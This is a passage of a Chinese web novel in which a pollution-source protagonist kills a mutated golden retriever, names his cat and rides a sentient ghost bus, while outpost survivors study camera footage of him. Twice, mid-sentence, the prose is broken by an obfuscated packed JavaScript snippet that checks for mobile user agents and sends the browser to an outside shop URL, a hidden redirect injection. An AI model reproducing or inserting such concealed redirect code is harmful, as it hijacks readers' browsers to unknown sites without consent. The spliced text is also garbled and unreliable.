要么是广场据点的天赋者并不比南山据点弱。 或者……这片地方有什么东西,阻碍南山据点占领,而快乐广场一边饱受这东西的骚扰和折磨,一边又以此免于南山的侵占。 当然,一切都建立在窦思莹给出了正确信息的基础上。 孟星洲看了眼猫,不再犹豫立刻转身。 独身一人可以赌一赌,带着猫还是算了。 他不敢跑动,只是刻意放轻脚步,快速回撤。 猫温顺地趴在孟星洲怀里,污染源紧绷的情绪让它分外老实。 直到腹部传来熟悉的温热感,“簌簌”的声音同时传进了孟星洲和猫的耳朵里。 猫的瞳孔慢慢放大—— 是笔记在更新。 笔记新增传闻有两条途径:随机抓取,或接近拥有传闻的对象,与该对象距离越近,接触越多,触发该对象传闻的概率越高。 很不幸,本次更新的触发途径似乎是后一条—— 孟星洲已经听到热风送来沉重的呼吸声。 呼哧、呼哧。 孟星洲停下脚步,轻轻解开缠着水果刀的布条。 7. 污染结晶(捉虫) 呼吸的主人似乎有极其灵敏的感知,孟星洲察觉到它时,对方立刻意识到自己已经暴露,结束潜行。 随着一阵急促的刮擦声由远及近,一头半人高的巨大犬型污染物出现在十字路口。 它一身打结的长毛,脏得看不出颜色,但明显胖得过头,脖子几乎和身体一样粗,上扬的尾巴正因为兴奋大幅度甩动。 它直奔着猫来的,两对眼睛四个瞳孔都直直看向猫,半条舌头都挂在嘴外,涎水很快在它蹼状的爪子下聚成一滩。 孟星洲神经紧绷,全身所有的感官都在向他疯狂报警,警告他这只变异犬和杀过的老鼠兔子绝非一类。 孟星洲握刀的手指尖微微发凉,甚至颤抖,但这种战栗并不来自于恐惧,仿佛是什么东西要撕裂皮囊钻出来。 他微微低头,身下阴影不耐烦地涌动着,沸腾一样地向外泛滥。 变异犬的捕猎本能完全被猫调动,它兴奋地叫了一声,犬类的吠叫被过长的舌头干扰,听起来含糊不清。 它喷了口气,眼珠在眼眶里转了一圈,四枚瞳孔同时放大。 孟星洲一瞬间有被完全锁定的感觉,下一秒,他和狗之间十几米的距离眨眼消失,口鼻呼出的热气喷到孟星洲的手背! 好快! 孟星洲来不及后撤,只能将猫向上甩出去。 变异犬一口咬空,但爪子生生从孟星洲手臂上刮下一层皮肉,留下几道深浅不一的伤口。 孟星洲疼得皱起眉,挥出去的水果刀不仅没有造成伤害,反而还崩了刃口。 变异犬反应快得惊人,以完全不符合它身形的反应速度蹬地上跳,直追猫的尾巴,打算将猫整个拽下来。 咕噜—— 脚下坚实的地面忽然柔软泥泞,踩下去的力道都被吸收,半截后腿都陷入其中。 它吃了一惊,前爪在地面抓出白印才将自己拉出,困惑地看着又恢复正常的地面。 孟星洲脸色沉凝,脚下的影子如有生命,慢慢蠕动。 这只变异犬……看起来不是普通的污染物。 猫趁这个机会,在空中调整姿势,就近挂在绿化带的树上, 它甚至还用爪尖勾着笔记本,低头看了两眼,“咪咪”大叫几声后,钻进茂密的树叶里。 “大肥狗是八级!持有攻击精准度上的天赋!” 八级污染物,污染值在800到900之间,血肉骨骼完全被污染值改造,处理厂里切割这种等级的尸体,都需要天赋者手持特质的兵器,普通砍刀完全没用。 孟星洲看了眼水果刀,几点污染值从手心流下将刀刃包裹起来。 变异犬的脑子不太聪明,它无法研究出地面突变的原因。 猫的叫声让它烦躁,面前的人类又让它感到危险且饥饿,它一时难以抉择。 孟星洲摘下碍事的帽子,往边上一扔,将变异犬的视线吸引到自己身上。 他抬起手,轻轻拉下袖子,黑色工装里肤色苍白,鲜血慢慢从伤口里溢出,流淌着污染物才能闻到的奇异芳香。 那难言的饥饿吞噬了变异犬全部的犹豫,只剩下将面前此人连皮带骨嚼碎的欲/望。 为了避免再次陷入古怪的泥泞中,它索性凌空跃起,强壮后肢赋予它惊人的弹跳力,扑击迅捷精准。 以正常人类的反应力,看见它起跳动作的时候,致命的犬齿已经到了跟前。 孟星洲脚下的阴影静默一瞬,潜藏其中的黑色长尾冲破暗影,细长柔韧的躯体蛇一样缠住变异犬的腰腹部位,那四颗小米粒一样的牙齿轻易刺破皮毛,嵌入血肉。 变异犬在半空失去平衡,就地滚了一圈,发现未能将长尾甩掉,反而被缠得更紧,于是四爪齐上,在长尾上留下一道道皮开肉绽的抓痕。 黑尾毫不放松,反而越绞越紧,大口大口吸吮着变异犬的污染。 明明没有造成多大的创口,污染却在不断流逝。 “汪——” 变异犬从未见过这么奇怪的攻击方式,惊慌地爬起身,试图利用碎石割开黑尾。 孟星洲一步上前,屈膝压上变异犬的颈部,左手摁住狗头砸向地面,右手持刀刺下! 裹着污染的刀刃艰难插入喉管,感受到致命威胁,变异犬的四枚眼珠在眼眶里乱滚,呲牙咬向孟星洲的手腕。 依照变异犬的体型,这一口下去,孟星洲必然是要犬口断腕了! 孟星洲只能迅速抽手,避开撕咬。 变异犬趁机起身,带着不肯放手的孟星洲和黑尾,一起撞向废弃建筑物。 猫在树上凄厉地叫起来。 孟星洲一惊,余光瞥见一截钢筋斜插在水泥里,正以惊人的速度接近他的脖子! 如果真的撞上去,孟星洲绝对会当场毙命。 孟星洲调整姿势,和这头至少一百五十斤的巨犬角力,青筋在他手背上暴起,将马上就要撞进废墟的狗头硬生生掰到另一个方向! 变异犬的尾巴被钢筋划开深可见骨的伤痕,愤怒地带着孟星洲和长尾在街道上乱撞,试图利用体重和建筑物对孟星洲造成挤压伤害。 混乱中,孟星洲被带着多次撞在墙壁上,他只能竭力避免撞上裸露的钢筋。 即便如此,冲击伤害难以避免,五脏六腑都因为撞击而震颤,仿佛四分五裂到能从食道里吐出来。 孟星洲忍着疼痛,手指在狗毛上缠了一圈固定自己,他知道自己一旦松手,或者黑尾失去束缚,变异犬会立刻转头反杀。 猫眼睁睁看着孟星洲和大胖狗越来越远,急得跳下树追过去,从未有过的恐惧让它浑身奓毛。 鲜血沿路泼洒,变异犬在一个高层小区的正门口停下了狂奔,噗通倒地。 它已经是强弩之末,血液和污染大量损失让它几乎失去了主动攻击的能力,但依然不肯停下,向小区内爬去。 小区内是完全陌生的环境的,孟星洲并不想被变异犬拖进去。 他尝试几次,终于将几乎丧失知觉的手指从毛发里抽出,手臂和手指因为脱力,别说补刀,甚至连拔出水果刀的力气都没有,只能眼睁睁看着变异犬带着唯一的武器越爬越远。 黑尾比孟星洲执着得多,并不肯轻易放开变异犬,甚至差点将变异犬往回拖了几步塞进阴影,最终因为对方头太大,不得不宣告失败。 变异犬艰难挣开影子,依然向小区内爬去。 孟星洲目送黑尾和狗一起爬进小区大门:“……” 晚上还回来睡觉吗? 孟星洲拽了拽黑尾,对方无动于衷,孟星洲松开还在发抖的手:“再不回来,我就自己走了。” 黑尾这才慢慢松开变异犬,温顺地往回缩。 它比孟星洲好不到哪里去,被建筑垃圾和狗爪割得皮开肉绽,滚得灰扑扑一条。 黑尾尖拱进孟星洲手心,吐出一颗浑浊的不规则晶体。 晶体只有指头大小,手感类似于软骨,光滑柔韧还带着体温。 “污染结晶?!” 孟星洲:“难怪它的攻击性突然下降,你把结晶抠出来了?” 黑尾尖得意地颤了颤。 超过一级的污染物才有可能长出结晶,储存着污染物消化融合后剩下的纯粹污染。 孟星洲在处理厂时就见过不少。 剖开污染物的大脑,可能会在红白之间找到这些花花绿绿的结晶,里面装满了污染,是绝不可以私藏的财产,每一颗都是天赋者之间的硬通货—— 摄入污染只有两个途径,一是吞噬污染物,二是吸收结晶污染。 相比于考验饭量和肠胃吸收能力的途径一,途径二才是大部分天赋者补充污染的主要选择。 孟星洲捏着结晶,突然获得大额存款的惊喜让疼痛都减轻了不少:“看起来有将近100污染。” 如果他没有黑尾这个作弊器,正常依靠途径一摄取污染,可能得吃下几千只兔子才能攒够100污染。 一笔巨款。 孟星洲将结晶仔细擦了擦,正要收起来,黑尾却一口将结晶叼走。 孟星洲:“?” 什么意思? 黑尾一头扎进影子里,再冒出头的时候,结晶已经不见。 孟星洲没有感觉到污染进账,影子却似乎比之前沉了……一些?同时一种说不清的满足感上涌,他情不自禁地眯起眼睛。 这是比饱腹感更让人上瘾的感觉,仿佛灵魂都吃饱了。 是黑尾吃掉了结晶吗?虽然有吃饱的感觉,怎么没有污染进账? 孟星洲努力克制不然自己沉迷满足感,捏住黑尾:“你把结晶贪了?” 这东西和金豆子有什么区别,家里唯一的存款一下就不见了。 什么话?什么叫贪了? 刚才还懒洋洋的黑尾顿时呲牙,从孟星洲的手心里冒出去一截,尾巴尖一弯,毫不客气地给了孟星洲一口,留下四个小坑后滑溜溜钻回了影子。 孟星洲实在没力气把它抓出来。 算了,吃都吃了,还能吐出来吗? 他能在打斗中活下来,黑尾占了最大的功劳。 黑尾吸取污染的能力,让他在纠缠过程中直接抽取变异犬的污染,变异犬的等级持续下降,孟星洲却在不断升级。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538058|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最重要的是,变异犬的进攻性在缠斗过程中突然减弱许多,以防御为主,分明孟星洲的流血在缠斗中加剧,变异犬却没有因此发狂。 然而即便如此,孟星洲也受了不轻的伤—— 工装外套有效地降低了擦伤,但冲击伤害不可避免。 因为全身都在疼痛,孟星洲无法判断具体伤势,只隐约感觉手臂小腿和背部至少有几处骨裂。 孟星洲没有【愈合】或者【治疗】这样的天赋,好在就算是低级污染物,自愈能力也比普通动物好得多,血肉融合污染的过程,也在修复伤口。 这些伤,完全是值得的。 孟星洲至少从变异犬身上吸取了500点污染,等他完全融合这些污染,就会进入六级! 他的影子正以肉眼可见的速度向外扩张,直到彻底消化吸收这些污染之前,不会停止变化。 一天之内连跳五级,影子的覆盖面积和储物容量,黑尾的攻击范围在消化之后都会获得增长。 孟星洲心情不错,撑着石墩子强行站起身。 右小腿的伤势似乎严重一些,用力就会传来钻心的疼。 孟星洲缓过那阵痛劲才慢慢迈步,他得去接家里那只打不过老鼠的瘦猫。 手臂上的开放性伤口短时间内难以愈合,血液的气味被风带出去很远。四面八方的草丛里传来轻微的脚步声,那是饥饿污染物聚集的动静。 有只黄鼠狼就跟在不远处,恰好在黑尾的攻击范围外。 孟星洲回头冷冷看了它一眼,继续往回走,刚迈两步,看见小小的影子直奔自己而来。 猫气势汹汹地停在孟星洲脚边,弓着腰,竖起后颈和尾巴毛,像个小老虎一样冲黄鼠狼亮出尖牙。 黄鼠狼不甘示弱,同样龇出獠牙。 孟星洲想起这猫昨晚还被大啮鼠吓得奓毛,今天竟然敢冲黄鼠狼哈气。 家里的文科小猫,怎么可能打得过本来就凶的鼬科。 孟星洲忍不住笑了下。 今天实在是个很不错的天气,热烈日光让孟星洲失血的身体都能感到温暖:“别理它,它不敢过来。” 孟星洲小时候看动物世界,受伤的大型动物身后总是跟着等待捡漏的捕食者,只要大型动物倒地,捕食者就会扑上去咬下几块肉,或是撕开原本的创口,加速流血。 但第一个冲上去的捕食者,往往被尚有余力的大型动物重伤。 猫蹭蹭孟星洲的裤脚,温顺地咪咪两声。 我会保护您的! “好吧,你保护我……”孟星洲抬起手腕想看一眼时间,那点笑意慢慢消失。 手表不知何时为他抵挡了一次撞击,表盘光荣殉职。 为数不多的重要财产接连离去,孟星洲微微叹气。 孟星洲只好看了看天,“现在应该十一点左右,我们回家吧。” 这里距离快乐广场很近,但孟星洲已经彻底放弃加入据点的打算—— 他升到了六级,身上有伤,既吸引着其他污染物,血液也携带了足够感染成人的污染,不仅会给普通人带来危险,也很容易暴露污染源的身份。 猫坚决不肯让孟星洲抱它,垂着尾巴走在孟星洲脚边。 路上半干的血迹吸引了不少小型污染物,猫耳朵后别,冲每一个试图跟踪他们的亮出尖牙。 多数污染物都忙不迭避让,猫以为自己的米粒牙起了作用,得意地竖起细长尾巴。 孟星洲慢慢走在后面,他的影子浓稠如同黑水,在地面投下比阴影更深的轮廓,活物一样慢慢向外扩展。 所有靠太近的污染物,都被这怪异的影子吓退。 只是偶尔似乎能听见两声狗叫,孟星洲揉了揉耳朵,总觉得那声音沉闷遥远,又仿佛离得很近。 孟星洲停步环顾两次,都没有看到变异犬的影子。 走了半条街,孟星洲微微皱眉:依照他们现在这个移速,晚上之前肯定到不了向阳花苑。 对孟星洲来说,向阳花苑除了地形熟悉给他更多的安定感外,和其他地方没有什么区别。 不如就近找一个庇护所,还能有更多的时间休息…… 虽然升级了,但孟星洲的行动能力依然受限,他和猫都需要一个相对封闭熟悉的环境,最好能有效阻碍血腥味的传播。 周围有什么地方是他去过的地方? 孟星洲忽然停住脚步,他听到熟悉的车辆行驶的声音,他循着声音看过去,一辆大巴出现在视线中。 竟然是74136。 它似乎是奔着孟星洲来的,四个轮子滚得极快,鬼鬼祟祟地径直开过来。 8. 迟菟(捉虫) 74136停在孟星洲身边,打开车门。 它也不敢按喇叭,用广播小声催促:“请快上车吧。” 孟星洲眨了眨眼:74136是专程来接自己的? “你怎么知道我在这里?” 孟星洲边问边上车,人刚坐下,大巴一脚油门猛起步,差点把猫和人都甩出去。 猫赶紧四爪并用挂在座位上。 孟星洲拽住拉杆才稳住身体,因为失血本来就有轻微的头晕,差点被74136晃得吐出来,原地站了两秒才缓过来。 “您不用觉得奇怪,”74136漂移转弯,“我是您的眷属,当您受到致命威胁的时候,附近的眷属们可能会感知到您的状态。” 猫的平衡性当然是比孟星洲强的,很快稳住身体,跳到孟星洲腿上,严肃点头。 没错没错,受您恩惠的眷属时刻心系您的安危! 74136疾驰在街道上:“请您扶稳坐好!这里是幽灵大巴59837的运行路线,按照规定我不应该抢占其他大巴路线上的乘客!它发现了会撵我的!” 孟星洲扒拉出卡住的安全带,将自己紧紧摁在座椅上:“59837在这里?” 不知道是不是孟星洲的错觉,74136的智商似乎比之前有所提高,播报非常连续且有逻辑—— 74136:“是的!它是一辆小型公交车,大部分时候都在镇子里游荡!而且59837是个领地性很强的车,它会驱赶试图介入它路线的其他幽灵大巴。” “我找它炫耀新轮子的时候,它没听我说话就开始撵我,”74136抽泣一声,“把我追出了清河西,它可真凶。” 这么大个车哭唧唧的真难听。 孟星洲适应了车速,看向车窗外飞速掠过的街景:“领地性只针对幽灵大巴吗?对人呢?” 猫竖起耳朵,翘着腿,怀里抱着它的都市传闻笔记。 74136提到的信息,都可以补充进笔记。 它甚至给还未见面的59837做了标注,就在74136那一页。 74136:“它对您的同类还算好……吧?只要不影响它拉客,不破坏它要跑的路线,是不会主动攻击人类的。” 一个想法在内心浮起。 孟星洲问:“你知道59837的等级吗?” 从74136的态度来看,这一对所谓的死对头,关系并没有那么差,也许可以多问出点59837的消息。 果然,74136毫不犹豫地给出了答案:“59837是个15级的公交车,小小一个但是好像有什么天赋。具体是什么,我也不知道,问了就会被骂,它的广播声音比我的大。” 孟星洲点头:“南山据点不吞并快乐广场的原因可能是59837,而不是那只八级的变异狗。” 那么,南山据点的最高级天赋者,大概在15级左右。而广场据点的最高级天赋者,可能在八级上下。 74136:“您真了不起!南山那个会用骨头的天赋者,确实有15级!” 孟星洲疑惑:“你怎么知道?” 74136还和南山别墅打过交道? 74136挺开心:“他们曾经来抓过我,被我撞死两个天赋者之后,再也没来骚扰我了。” 孟星洲:“和骨骼有关的天赋……不知道攻击方式是什么。” 74136:“丢骨头!他会丢很多骨头,给我车顶砸出一个坑。好像还有什么大招,虽然对我没有用处,但我带着的人体座椅都被他弄伤了。” 孟星洲:“……骨头相关的天赋,不会能影响人体内的骨骼吧。” 如果有这个能力,对脊椎动物来说过于超模,又恰好地对大巴没什么用处。 铁基生物74136懵懂:“可能是吧。” 孟星洲抬手查看伤口。 他的身体正在以一个惊人的速度消化那只狗的污染,身上开放性的伤口基本止血,应该没有骨折,这种程度的伤势……即便没有药物辅助,应该能一两天内恢复个七八成。 他现在是一个六级污染物,在清河西这个等级上限17级左右的地方,就算不加入任何据点,也有一定能力保护自己和猫。 但明天的集市,还是要去看的。 孟星洲:“谢谢你来接我。” 74136当场在地上走了个“8”字,两个尾灯红红地亮起来:“您、您不用谢,那个车费……您看着给。” 孟星洲:“所以你也确实是和59837抢生意的吧?” 74136除了担心污染源,也确有此心,因此无从辩解,只能呜呜两声。 明明捕食其他污染物也可以补充污染,填饱肚子,但总觉得污染源的恩赐更加美味香甜。 它甚至都变聪明了! 59837亲口说的! 孟星洲轻轻扯了下唇角:“车费不会忘的。” 像小狗一样,比刚见面那会儿可爱。 猫正抱着笔记奋爪疾书,它的爪尖像五个指挥棒,勾来划去,毛线们就组成了一个个不同的字符。 等猫写完了59837的注解,孟星洲争取了猫的同意,拿起笔记,翻到最新一则都市传闻。 【已收录都市传闻——金毛巡回猎犬菜菜 1:噔噔噔!云舒华府大明星!大名李白菜,小名菜菜。是4栋301李阿姨养的狗,非常亲人,叼飞盘很厉害!就是不太喜欢别的狗,也不喜欢猫。 2:超级大胖狗,很喜欢吃白菜。虽然是金毛,但是挺护主的,出门就贴着301的小孩,像个保镖哈哈哈。 3:这狗怎么突然疯了,咬死了好几只猫,有人靠近301的小孩也被咬了…… 4:咬死人了……砸301门的都被咬死了,也没看见尸体。 5:都疯了!人也吃人!是被菜菜传染狂犬病了吗? 6:是污染病!菜菜是污染源,把污染病传给人了! 7:草!这狗去外面打猎弄了一堆污染物给301一家子吃,现在都变成污染物了!小孩爬到我家阳台上,我刚才弄死! 8:还活着的,没感染的,都撤到快乐广场的冰淇淋店里。我这里有菜菜用过的胸背带。它每次闻到这个味道,好像能清醒点,不往里面走。 9:菜菜是八级污染物了,还和以前一样,每天早晚出门遛弯两次,为什么16号中午也出门? 10:301的阿姨16号休假,会一天溜它三次,说减肥来着,现在也没减掉……最远逛到向阳花苑吧?去年在向阳花苑搜刮的幸存者不少死在菜菜嘴里。 17号是安全日,因为阿姨上一天班,不会遛狗。 11:程大哥受伤了,狗的反应太快了。这是狗啊?怎么像猫一样灵活? 12:金毛变异犬,八级污染物,持有精神系天赋【捕食者】,锁定目标进入捕猎状态,攻击精准度会有大幅度提升。我们在广场外围了铁栅栏,菜菜遛弯到广场之前,把背带挂在上面,效果不错。 13:南山那个潜行者来偷袭,结果被晚上出门的菜菜弄死了。没了搞偷袭的,据点安全很多,菜菜还是有点用处的。 猫的备注: 它叫菜菜啊,原来是因为讨厌我才攻击主人的。 菜菜是坏狗。 我是坏猫。】 孟星洲想起变异犬那身脏污的,隐约还泛着点金色的毛发。 原来真是个金毛,还养得很胖。 孟星洲轻轻合上笔记,看向猫。 猫坐在孟星洲腿上,正和孟星洲一起看笔记,察觉到污染源的视线,猫慢慢低下头。 猫别着耳朵,后颈的毛因为恐惧竖起:“咪……” 坏猫一直在给污染源惹麻烦。大巴上因为猫被坏人盯上,南山据点因为猫不能加入,刚刚因为猫被大坏狗咬。 这次最严重了,流了好多血。 污染源会扔掉自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538059|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己吗? 孟星洲沉思:“突然想起来,还没给你取名字。” 猫偷偷竖起耳朵:原来不是想着抛弃猫吗? 孟星洲:“你要给自己取名吗?” 话说猫居然能认会写……74136好像是个文盲,文盲会说话,有学历的这个反而不会。 是等级不够的原因? 猫就地一躺,白肚皮朝上,在孟星洲腿上扭成麻花:“咪咪!” 叫兔兔! 孟星洲摸猫的手慢慢停下:“一只猫为什么要叫兔兔……” 猫舔着嘴巴,前爪合十,万分虔诚:“咪——” 兔兔好吃,希望以后能兔兔吃到饱。 17岁高中生坚决不肯开口叫叠字:“换一个吧。叫……迟菟。嗯,就是吃兔的谐音。” 猫“咪咪”在笔记上写字:迟兔? “菟丝子的菟,”孟星洲,“也是於菟的菟,叫第四声顺口一点。” 猫对新名字接受良好,兴奋地在笔记第一页留下迟菟的名字,完全忘记刚才的低落自责。 孟星洲把迟菟举起来蹭蹭下巴,手心拖着猫支棱突兀的瘦骨。 迟菟呼噜呼噜地响起来。 快长大一点,再胖一点,像小老虎一样凶猛有力气。 …… 对两条腿来说遥远的距离,在四个轮子下缩地成寸。 他们的运气不错,直到离开59837的地盘,都没有碰上这位脾气不好的小型公交车。 大巴到达向阳花苑的时候,还是大中午。 孟星洲闭目养神的功夫,大巴已经驶入向阳花苑的大门,把孟星洲送到了楼下。 孟星洲:“你怎么知道我住这里?” 大巴叭叭按两下喇叭:“昨天走了之后又绕到另一条路,看您回家,我才走远的。” 孟星洲没想到自己有生之年还能被大巴车尾随:“……” 实在不知道说什么,孟星洲解开安全带,起身准备到后门交车费。 转身看到后排的时候,孟星洲终于发现了异常:“你抓来的那些打工座椅呢?” 上车的时候太晃了,竟然没注意到74136有一整排座位不翼而飞,寸头几人,甚至笔记里提到的,靠后门的那位朋友都不见了,取而代之的是一只只车轮,不知道从哪儿找的。 74136吭哧吭哧:“都放生了。您的恩赐使我意识到,我根本不需要那么多座位。” 74136有点落寞:“在污染降临前,我就已经很久没有满载过了,现在更没有几个乘客。抓来的人体座椅都是多余的,而我带着他们往返,还需要消耗更多的力气。” 孟星洲点头:裁员了。 他安慰74136:“现在大环境不好。我以前在处理厂的时候,一旦厂子里工作减少,也会裁掉一批效率不高的员工,大家没钱,再远都宁肯走回家。” 74136精神抖擞:“市里也经常裁员吗?裁的多了我的乘客是不是就变多了?!” 孟星洲:“……基地裁员的话,你的乘客确实会变多。” 74136的主要客源,不就是基地裁出来的流放者么,基地裁员越多,74136的乘客越多。 他现在看出来了,至少对74136来说,拉乘客不是生存所迫,是执念,是精神需求。 聪明点的污染物们都有些奇怪的执念,靠这个东西维持稀薄的理智。 孟星洲交了三点污染作为车费,临下车的时候忽然回头:“对了,那些人体座椅,你放生在什么地方了?大概什么时候?” 74136的胃发出满足的研磨声:“我扔在59837的地盘上了。昨天晚上送去的,我去炫耀车轮,结果被59837撵出镇子了。然后我又偷偷回去,把老赖们放在它的地盘上,给它当客源,希望它下次不要撵我。” 孟星洲垂下眼睫:“59837的地盘……” 那不就是快乐广场附近吗? 9. 多天赋者持有者(结尾微修) 快乐广场 天色已经渐渐暗下来,商场楼顶虽然铺着太阳能发电板,但为了避免吸引外界污染物的注意,灯光只能勉强照亮。 寸头男人在安全通道里行走,虽然腿脚不便,爬楼的速度却很快,大气不喘地就上了五楼。 几分钟前,负责警戒的守卫迟迟没有观察到变异金毛犬的身影,往常这个时间,金毛犬不仅早就回到小区,甚至已经要进行晚上的散步了。 异常的行为让守卫内心不安,催促寸头将这件事报告给据点组建人程行。 寸头走到程行办公室外,敲敲门。 程行虽然是据点的创始人,目前也是据点等级最高的天赋者,却懒得仗着天赋霸占什么资源,住的地方虽然大,却堆满了暂时用不到的物资,自己就睡在这堆东西之间。 “啥事儿啊?” 程行正在往水桶里灌水,准备着第二天的集市,扯着嗓子喊:“直接进来呗,我忙呢。” 寸头伸头进去:“程哥,底下袁哥叫我问问你,云舒华府那只金毛,遛弯时间最长能有多久?” 程行:“两个小时吧,怎么了?” 寸头:“变异狗出去了一整个下午,袁哥到现在没看到它回来,所以叫我来问问,以前有没有这种情况,会不会从其他门回小区?” 程行脸色难看起来:“他人呢?” 寸头:“上楼去调监控了。” 为了观察变异犬,广场据点在小区两个大门都安装了监控,可惜据点里没有专业人员,拉线拉得乱七八糟,监控时灵时不灵。 好在金毛犬出入地点、时间一直都非常固定,在商场就能观测到金毛犬的身影。 唯独今天…… 程行:“我去监控室。” 寸头没等到下一个命令,老实地跟在程行身后,殷切地等待下一个工作。 寸头觉得自己运气不错,被大巴做成人体椅子后又被放出来,只是落下了腿脚不便的毛病。 广场这边很难吃上肉,但蔬菜和主食还是管够的,也没有因为他和卷发行动不便,又是基地流放的罪犯,就歧视冷落他们。 寸头不敢说自己洗心革面,至少老实多了。 当他自己失去身强力壮的倚仗,终于意识到,还是以前看不上的老好人才能容忍他。 希望广场这边多撑几年,他这种有点轻微残疾的人,去其他据点怕不是要被饿死。 何况快乐广场当家的程行虽然人不错,拳头也是真的硬,昨晚上一拳就把偷食物的矮子砸晕过去。 他和卷发则因为被大巴和孟星洲吓破了胆子,不敢打任何鬼主意,生怕又惹上什么人物,没有作奸犯科,逃过一劫。 想起孟星洲,寸头又打了个寒颤。 那可怕的74136,像只狗一样冲孟星洲投诚。 太可怕了,三言两语就能和污染物打好关系,本质上就是污染物吧?还好孟星洲不在快乐广场,不然他和卷毛的日子可不好过。 寸头庆幸着,已经到了监控室里。 他们今天的运气不错,监控没有发疯,稳定地传来了今天下午的录像。 录像时间到十一点十五分的时候,云舒华府正门位置的摄像头拍到了变异犬。 袁卓一指视频里的黑影:“这是……云舒华府的变异犬吗?怎么跟之前不一样了?它还进化出了触手?!” 程行给了这大近视眼一脑瓜崩:“你瞎啊!这是跟幸存者打起来了,触手应该是幸存者的技能。天赋哪儿有那么容易获取啊,污染物比人更难觉醒天赋,有一个就不错了。” 寸头忍不住问:“为什么污染物更难有天赋啊?” 袁卓揉着头:“与其说是污染物难觉醒天赋,不如说是人太菜鸡了,随便有个异变就算是天赋。咱们据点附近,原来有不少变异猫,后来都被金毛吃了,那猫也没天赋,就是加强了原来的爪子和牙齿,如果这些猫爪猫牙要是长人身上,那就管这些东西叫天赋。” 袁卓抓紧时间给新人上课:“所以讲,天赋者有了天赋,都不一定能和同级没天赋的污染物打平手。这里更比不上清云市,附近的很多小型污染物没人清理,别因为它们个头小就不上心,随便碰上个一百多污染值的猫啊狗啊的,就能干死你。” 寸头连连点头:“我知道了。” 袁卓说完,发现程行一脸凝重,安慰:“这一年多来被菜菜咬死的幸存者也有不少几个了,虽然天赋者死了很可惜,但我们也没……” 程行拉回进度条,慢放视频:“谁告诉你他死了?” 袁卓猛回头:“没死?” 视频里,天赋者带着金毛犬一起撞上小区门口的石墩,一二百斤的墩子被推出两三米远。 那撞击的力道看得程行两人同时皱起眉。 撞完后一人一狗都没了动静,好一会儿,那人才慢慢站起身,捂住嘴咳了几下,那漆黑的细长触手和变异犬拉扯了一阵子,最后送了个什么东西给那人,才缩进影子里。 束缚身体的触手离开,金毛也有了动静,它没有回身攻击天赋者,而是四爪并用地往小区里爬。 天赋者在原地休息片刻,带上追来的猫,缓步消失在监控范围内。 袁卓:“我靠……” 他大脑混乱,语无伦次:“他怎么不补刀?不是,他受了伤怎么还跑远了?是不知道我们据点就在附近吗?他几级啊?居然能从菜菜嘴里活下来。” 程行眼神火热:“绝对是天赋者,很可能是比我高一级的天赋者。” 袁卓摸着下巴:“比你高一级,那就是10级了?” 程行稍微冷静点:“也不一定,他的天赋看起来有很不错的控制效果。菜菜的天赋确实棘手,近身很难躲开攻击,但只要被限制行动,天赋几乎就没用了,陷入纯靠蛮力的缠斗。我比较奇怪的一点是,菜菜的反击欲望不是很强烈啊,上次可是差点咬死我。” 袁卓羡慕极了:“那触手会不会有催眠效果?高贵的控制技能啊,咱们据点里要是有个能打控的就好了。可以去水源地狩猎一些大的污染物,天天吃素,荤腥都不见,大家的身体都很不好了。” 程行眯起眼睛:“明天集市之前,我先去云舒华府看看菜菜的情况,然后在周围找找这个天赋者,他伤势不轻,昨天应该在附近找了庇护所休息,看能不能说服他加入我们据点。” 说着,程行低头在身上摸索:“诶,我对讲机呢……” 袁卓受不了了:“你不是把对讲机扔杂物堆里,就是又忘了充电,我就是呼不到你才叫小李去找。” 程行拍拍脑袋:“嗐,打从觉醒天赋之后,这脑子里就跟有水一样,记性太差了。” 袁卓翻白眼:还真可能是脑子有水。 程行,九级水系天赋者。 不仅为据点供给不需要过滤甚至不需要烧开的清洁水源,在战斗方面也有不俗表现。和他们据点的木系二把手强强联合,热火朝天地种了不少地。 袁卓:“你要找谁,我帮你叫。” “先不急,那个小李,你上楼帮我……” 程行回头,被寸头的脸色吓了一跳,“诶,你这是怎么了?生病了吗?” 寸头脸色苍白,指着空荡荡的屏幕:“程哥,这个人……他不是天赋者。” 程行:“啊?” 寸头:“他是……【污染源】。” 熟悉的工装,熟悉的黑白奶牛猫,还有模糊监控也能看出的,漆黑眉眼和没什么血色的皮肤。 像个阴影里的艳鬼。 寸头这辈子都不会忘记。 寸头磕磕巴巴地回忆:“从清云市基地流放出来的,未达一级的【污染源】……” 程行听完寸头的简述,深深皱起眉:“等等,你说他没到一级,天赋是【污染】?” 一个没到一级的污染物,杀了八级的菜菜? 虽然在十级之内,每级之间污染差值小,偶尔也会出现越级反杀,但七级的差距还是太惊人了。 程行:“如果他的天赋是【污染】,又怎么解释影子里的触手?除非他持有两个天赋,那不就是……” 袁卓喃喃道:“多天赋持有者。” …… 向阳花苑 孟星洲坐在12栋2单元的入口,半下午的太阳晒得他犯困。 迟菟抱着孟星洲的手腕,眯着眼睛发出呼噜声。 依照它做流浪猫的经验,不舒服的时候发出呼噜声会好过很多。 孟星洲只感觉有个毛烘烘的发动机贴着自己,规律的震动让他跟着眯起眼睛。 他手臂上的伤口基本止血,轻微骨裂的地方经过几个小时的休息,已经能支撑他缓慢行走。 但白天的时间弥足珍贵,实在不能浪费。 